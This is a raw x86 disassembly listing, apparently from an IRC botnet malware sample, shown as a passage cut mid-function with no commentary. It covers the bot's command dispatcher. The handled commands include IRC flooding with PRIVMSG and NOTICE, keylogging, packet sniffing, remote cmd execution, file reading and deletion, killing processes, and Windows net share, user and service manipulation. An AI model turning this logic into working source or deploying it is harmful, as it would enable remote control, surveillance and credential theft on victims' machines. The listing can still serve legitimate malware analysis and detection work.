call _rand
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+var_4BC]
push eax ; Dest
call sub_417ADE
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
loc_4052D2: ; CODE XREF: sub_401ACD+3714j
; sub_401ACD+3723j
push [ebp+Source] ; Str2
push offset aChgnick ; "chgnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405319
lea eax, [ebp+var_1808]
push eax ; Dest
call sub_417ADE
pop ecx
lea eax, [ebp+var_1808]
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
loc_405319: ; CODE XREF: sub_401ACD+3816j
push [ebp+Source] ; Str2
push offset aMsg ; "msg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405408
cmp [ebp+esi+Format], ebx
jz loc_405408
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
lea eax, [ebp+Dst]
push offset dword_42763C
push [ebp+esi+Format]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset dword_42763C
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset dword_42763C
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
loc_405408: ; CODE XREF: sub_401ACD+385Dj
; sub_401ACD+386Aj
push [ebp+Source] ; Str2
push offset aNotice_0 ; "notice"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4054F7
cmp [ebp+esi+Format], ebx
jz loc_4054F7
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
lea eax, [ebp+Dst]
push offset dword_42763C
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset dword_42763C
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset dword_42763C
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
loc_4054F7: ; CODE XREF: sub_401ACD+394Cj
; sub_401ACD+3959j
push [ebp+Source] ; Str2
push offset aCtcp ; "ctcp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40560E
cmp [ebp+esi+Format], ebx
jz loc_40560E
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgS_1 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aPrivmsgS_2 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aPrivmsgS_3 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aPrivmsgS_3 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
loc_40560E: ; CODE XREF: sub_401ACD+3A3Bj
; sub_401ACD+3A48j
push [ebp+Source] ; Str2
push offset aMix ; "mix"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405734
cmp [ebp+esi+Format], ebx
jz loc_405734
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgS_1 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset dword_42763C
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset dword_42763C
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset dword_42763C
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
loc_405734: ; CODE XREF: sub_401ACD+3B52j
; sub_401ACD+3B5Fj
push [ebp+Source] ; Str2
push offset aRegister ; "register"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40577A
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_40577A
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNickservRegist ; "nickserv register %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417789
add esp, 14h
loc_40577A: ; CODE XREF: sub_401ACD+3C78j
; sub_401ACD+3C83j
push [ebp+Source] ; Str2
push offset Str2 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4062C4
mov edi, offset dword_4D46EC
loc_405796: ; CODE XREF: sub_401ACD+3CE8j
cmp dword ptr [edi-4], 1
jnz short loc_4057A9
mov eax, [edi]
cmp eax, ebx
jbe short loc_4057A9
push eax
call dword_4CB6EC ; closesocket
loc_4057A9: ; CODE XREF: sub_401ACD+3CCDj
; sub_401ACD+3CD3j
add edi, 210h
cmp edi, offset byte_4DAE0C
jl short loc_405796
cmp [ebp+var_8], ebx
jnz loc_4062C4
push ebx ; int
push [ebp+var_4] ; int
push offset unk_42BA48 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
jmp loc_4062C4
; ---------------------------------------------------------------------------
loc_4057DF: ; CODE XREF: sub_401ACD+3196j
mov edi, [ebp+arg_8]
push edi ; Str2
push offset aNick_0 ; "nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409759
push edi ; Str2
push offset aN ; "n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409759
push edi ; Str2
push offset aJoin ; "join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409732
push edi ; Str2
push offset aJ ; "j"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409732
push edi ; Str2
push offset aPart_0 ; "part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409712
push edi ; Str2
push offset aPt ; "pt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409712
push edi ; Str2
push offset aRaw ; "raw"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4096D6
push edi ; Str2
push offset aR ; "r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4096D6
push edi ; Str2
push offset aKillthread ; "killthread"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4095D6
push edi ; Str2
push offset aK ; "k"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4095D6
push edi ; Str2
push offset aC_quit ; "c_quit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409528
push edi ; Str2
push offset aC_q ; "c_q"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409528
push edi ; Str2
push offset aC_rndnick ; "c_rndnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4094D6
push edi ; Str2
push offset aC_rn ; "c_rn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4094D6
push edi ; Str2
push offset aPrefix ; "prefix"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4094BD
push edi ; Str2
push offset aPr ; "pr"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4094BD
push edi ; Str2
push offset aOpen ; "open"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40948F
push edi ; Str2
push offset aO ; "o"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40948F
push edi ; Str2
push offset aServer_1 ; "server"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409472
push edi ; Str2
push offset aSe ; "se"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409472
push edi ; Str2
push offset aDns ; "dns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409407
push edi ; Str2
push offset aDn ; "dn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409407
push edi ; Str2
push offset aKillproc ; "killproc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4093D7
push edi ; Str2
push offset aKp ; "kp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4093D7
push edi ; Str2
push offset aKill ; "kill"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409378
push edi ; Str2
push offset aKi ; "ki"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409378
push edi ; Str2
push offset aDelete ; "delete"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40933C
push edi ; Str2
push offset aDel ; "del"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40933C
push edi ; Str2
push offset aGet_0 ; "get"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40925D
push edi ; Str2
push offset aGt ; "gt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40925D
push edi ; Str2
push offset aList ; "list"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40923B
push edi ; Str2
push offset aLi ; "li"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40923B
push edi ; Str2
push offset aVisit ; "visit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409147
push edi ; Str2
push offset aV ; "v"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409147
push edi ; Str2
push offset aMirccmd ; "mirccmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409110
push edi ; Str2
push offset aMirc ; "mirc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409110
push edi ; Str2
push offset aCmd ; "cmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4090A6
push edi ; Str2
push offset aCm ; "cm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4090A6
push edi ; Str2
push offset aReadfile ; "readfile"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409029
push edi ; Str2
push offset aRf ; "rf"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409029
push edi ; Str2
push offset aPsniff ; "psniff"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405C7C
push [ebp+Source] ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405C42
push 20h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405B6C
push offset dword_42B94C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405B6C: ; CODE XREF: sub_401ACD+4093j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+Format]
mov [ebp+var_EC4], eax
mov eax, [ebp+var_4]
mov [ebp+var_E3C], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E38], eax
jnz short loc_405BAE
mov esi, offset aF_1 ; "#f"
push offset byte_43D808 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405BAE
mov esi, [ebp+Format]
loc_405BAE: ; CODE XREF: sub_401ACD+40C3j
; sub_401ACD+40D9j
push esi ; Format
lea eax, [ebp+var_EC0]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push offset asc_42B91C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 20h ; int
push eax ; Source
call sub_40B0F7
add esp, 14h
mov [ebp+var_E40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC4]
push ebx
push eax
push offset sub_411FD6
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_E40]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_405C31
loc_405C1B: ; CODE XREF: sub_401ACD+4162j
cmp [ebp+var_E34], ebx
jnz loc_40828C
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_405C1B
; ---------------------------------------------------------------------------
loc_405C31: ; CODE XREF: sub_401ACD+414Cj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_42B8E0
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405C42: ; CODE XREF: sub_401ACD+4083j
push [ebp+Source] ; Str2
push offset Str2 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 20h
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C72
push eax
push offset dword_42B8A4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405C72: ; CODE XREF: sub_401ACD+4198j
push offset dword_42B878
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405C7C: ; CODE XREF: sub_401ACD+406Cj
push edi ; Str2
push offset aSniffer ; "sniffer"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405DCE
push [ebp+Source] ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405D94
push 21h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405CBE
push offset unk_42B850
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405CBE: ; CODE XREF: sub_401ACD+41E5j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+Format]
mov [ebp+var_FEC], eax
mov eax, [ebp+var_4]
mov [ebp+var_F64], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_F60], eax
jnz short loc_405D00
mov esi, offset aF_1 ; "#f"
push offset byte_43D808 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405D00
mov esi, [ebp+Format]
loc_405D00: ; CODE XREF: sub_401ACD+4215j
; sub_401ACD+422Bj
push esi ; Format
lea eax, [ebp+var_FE8]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push offset asc_42B820 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 21h ; int
push eax ; Source
call sub_40B0F7
add esp, 14h
mov [ebp+var_F68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FEC]
push ebx
push eax
push offset sub_412661
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_F68]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_405D83
loc_405D6D: ; CODE XREF: sub_401ACD+42B4j
cmp [ebp+var_F5C], ebx
jnz loc_40828C
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_405D6D
; ---------------------------------------------------------------------------
loc_405D83: ; CODE XREF: sub_401ACD+429Ej
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42B7E4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405D94: ; CODE XREF: sub_401ACD+41D5j
push [ebp+Source] ; Str2
push offset Str2 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 21h
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DC4
push eax
push offset unk_42B7A4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405DC4: ; CODE XREF: sub_401ACD+42EAj
push offset unk_42B774
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405DCE: ; CODE XREF: sub_401ACD+41BEj
push edi ; Str2
push offset aIdent ; "ident"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405EA3
push [ebp+Source] ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405E69
push 2
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405E0C
push offset dword_42B74C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405E0C: ; CODE XREF: sub_401ACD+4333j
lea eax, [ebp+Dst]
push offset asc_42B720 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 2 ; int
push eax ; Source
call sub_40B0F7
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_4101FD
push ebx
push ebx
call ds:dword_42707C ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E5A4[esi], eax
jnz loc_40828C
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_42B6EC
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405E69: ; CODE XREF: sub_401ACD+4327j
push [ebp+Source] ; Str2
push offset Str2 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 2
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E99
push eax
push offset dword_42B6B4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405E99: ; CODE XREF: sub_401ACD+43BFj
push offset dword_42B694
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405EA3: ; CODE XREF: sub_401ACD+4310j
push edi ; Str2
push offset aKeylog ; "keylog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_406020
push [ebp+Source] ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
mov edi, offset aFile ; "file"
test eax, eax
pop ecx
jz short loc_405F19
push [ebp+Source] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_405F19
push [ebp+Source] ; Str2
push offset Str2 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 23h
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405F0F
push eax
push offset dword_42B648
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405F0F: ; CODE XREF: sub_401ACD+4435j
push offset dword_42B61C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405F19: ; CODE XREF: sub_401ACD+4401j
; sub_401ACD+4410j
push 23h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405F2F
push offset dword_42B5FC
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405F2F: ; CODE XREF: sub_401ACD+4456j
mov eax, [ebp+arg_4]
push [ebp+Source] ; Str2
mov [ebp+var_C5C], eax
mov eax, [ebp+var_4]
push edi ; Str1
mov [ebp+var_BD4], eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405F5C
mov [ebp+var_BD0], 1
jmp short loc_405F65
; ---------------------------------------------------------------------------
loc_405F5C: ; CODE XREF: sub_401ACD+4481j
mov eax, [ebp+var_8]
mov [ebp+var_BD0], eax
loc_405F65: ; CODE XREF: sub_401ACD+448Dj
mov esi, [ebp+esi+Format]
cmp esi, ebx
jnz short loc_405F8C
mov esi, offset aF_0 ; "#f"
push offset byte_43D808 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405F8C
mov esi, [ebp+Format]
loc_405F8C: ; CODE XREF: sub_401ACD+44A1j
; sub_401ACD+44B7j
push esi ; Format
lea eax, [ebp+var_C54]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push offset asc_42B5D8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 23h ; int
push eax ; Source
call sub_40B0F7
add esp, 14h
mov [ebp+var_C58], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C5C]
push ebx
push eax
push offset sub_411CF5
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_C58]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40600F
loc_405FF9: ; CODE XREF: sub_401ACD+4540j
cmp [ebp+var_BCC], ebx
jnz loc_40828C
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_405FF9
; ---------------------------------------------------------------------------
loc_40600F: ; CODE XREF: sub_401ACD+452Aj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_42B59C
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_406020: ; CODE XREF: sub_401ACD+43E5j
push edi ; Str2
push offset aNet ; "net"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_406270
cmp dword_4CB724, ebx
jz short loc_40604F
cmp dword_4CB74C, ebx
jz short loc_40604F
push offset unk_42B560
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40604F: ; CODE XREF: sub_401ACD+456Ej
; sub_401ACD+4576j
cmp [ebp+var_C], ebx
jz loc_406CDF
mov edi, [ebp+esi+Format]
mov [ebp+Src], ebx
cmp edi, ebx
jz short loc_406074
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
mov [ebp+Src], eax
pop ecx
loc_406074: ; CODE XREF: sub_401ACD+4597j
push [ebp+Source] ; Str2
push offset aStart ; "start"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4060C1
cmp edi, ebx
jz short loc_406095
push [ebp+Src]
push 3
jmp loc_406127
; ---------------------------------------------------------------------------
loc_406095: ; CODE XREF: sub_401ACD+45BCj
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_41895C
add esp, 0Ch
test eax, eax
jz short loc_4060B7
push offset unk_42B534
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_4060B7: ; CODE XREF: sub_401ACD+45DEj
push offset unk_42B514
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_4060C1: ; CODE XREF: sub_401ACD+45B8j
push [ebp+Source] ; Str2
push offset aStop ; "stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4060DB
push [ebp+Src]
push 4
jmp short loc_406127
; ---------------------------------------------------------------------------
loc_4060DB: ; CODE XREF: sub_401ACD+4605j
push [ebp+Source] ; Str2
push offset aPause ; "pause"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4060F5
push [ebp+Src]
push 5
jmp short loc_406127
; ---------------------------------------------------------------------------
loc_4060F5: ; CODE XREF: sub_401ACD+461Fj
push [ebp+Source] ; Str2
push offset aContinue ; "continue"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40610F
push [ebp+Src]
push 6
jmp short loc_406127
; ---------------------------------------------------------------------------
loc_40610F: ; CODE XREF: sub_401ACD+4639j
push [ebp+Source] ; Str2
push offset aDelete ; "delete"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_406139
push [ebp+Src]
push 1
loc_406127: ; CODE XREF: sub_401ACD+45C3j
; sub_401ACD+460Cj ...
call sub_4186C2
pop ecx
pop ecx
loc_40612E: ; CODE XREF: sub_401ACD+46A2j
; sub_401ACD+472Aj ...
push eax
push offset aS_6 ; "%s"
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_406139: ; CODE XREF: sub_401ACD+4653j
push [ebp+Source] ; Str2
push offset aShare ; "share"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40619E
cmp edi, ebx
jz short loc_406171
cmp [ebp+var_8FC], bl
jz short loc_40615E
push ebx
push edi
push 1
jmp short loc_406167
; ---------------------------------------------------------------------------
loc_40615E: ; CODE XREF: sub_401ACD+4689j
push [ebp+esi+Str2] ; int
push edi ; Str
push ebx ; int
loc_406167: ; CODE XREF: sub_401ACD+468Fj
call sub_418A99
add esp, 0Ch
jmp short loc_40612E
; ---------------------------------------------------------------------------
loc_406171: ; CODE XREF: sub_401ACD+4681j
push ebx ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_418C8F
add esp, 10h
test eax, eax
jz short loc_406194
push offset unk_42B4CC
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406194: ; CODE XREF: sub_401ACD+46BBj
push offset unk_42B4AC
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40619E: ; CODE XREF: sub_401ACD+467Dj
push [ebp+Source] ; Str2
push offset aUser_0 ; "user"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_406229
cmp edi, ebx
jz short loc_4061FC
cmp [ebp+var_8FC], bl
jz short loc_4061CF
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
push ebx
push edi
push 1
jmp short loc_4061EF
; ---------------------------------------------------------------------------
loc_4061CF: ; CODE XREF: sub_401ACD+46EEj
push [ebp+var_4] ; int
mov esi, [ebp+esi+Str2]
cmp esi, ebx
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
jz short loc_4061EB
push esi
push edi
push ebx
jmp short loc_4061EF
; ---------------------------------------------------------------------------
loc_4061EB: ; CODE XREF: sub_401ACD+4717j
push ebx ; int
push edi ; int
push 2 ; int
loc_4061EF: ; CODE XREF: sub_401ACD+4700j
; sub_401ACD+471Cj
call sub_418DB0
add esp, 18h
jmp loc_40612E
; ---------------------------------------------------------------------------
loc_4061FC: ; CODE XREF: sub_401ACD+46E6j
push ebx ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_4192E0
add esp, 10h
test eax, eax
jz short loc_40621F
push offset unk_42B48C
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40621F: ; CODE XREF: sub_401ACD+4746j
push offset unk_42B46C
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406229: ; CODE XREF: sub_401ACD+46E2j
push [ebp+Source] ; Str2
push offset aSend_0 ; "send"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_406266
cmp edi, ebx
jz short loc_40625C
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
push [ebp+Src] ; Source
call sub_419594
add esp, 10h
jmp loc_40612E
; ---------------------------------------------------------------------------
loc_40625C: ; CODE XREF: sub_401ACD+4771j
push offset unk_42B440
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406266: ; CODE XREF: sub_401ACD+476Dj
push offset unk_42B424
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406270: ; CODE XREF: sub_401ACD+4562j
push edi ; Str2
push offset aCapture ; "capture"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408DFE
push edi ; Str2
push offset aCap ; "cap"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408DFE
push edi ; Str2
push offset aGethost ; "gethost"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408D0A
push edi ; Str2
push offset aGh ; "gh"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408D0A
loc_4062C4: ; CODE XREF: sub_401ACD+3CBEj
; sub_401ACD+3CEDj ...
mov edi, [ebp+esi+Format]
cmp edi, ebx
mov [ebp+arg_1C], edi
jz loc_401E94
push [ebp+arg_8] ; Str2
push offset aKilllog ; "killlog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408CF0
push [ebp+arg_8] ; Str2
push offset aKl ; "kl"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408CF0
push [ebp+arg_8] ; Str2
push offset aAddalias ; "addalias"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_408CAD
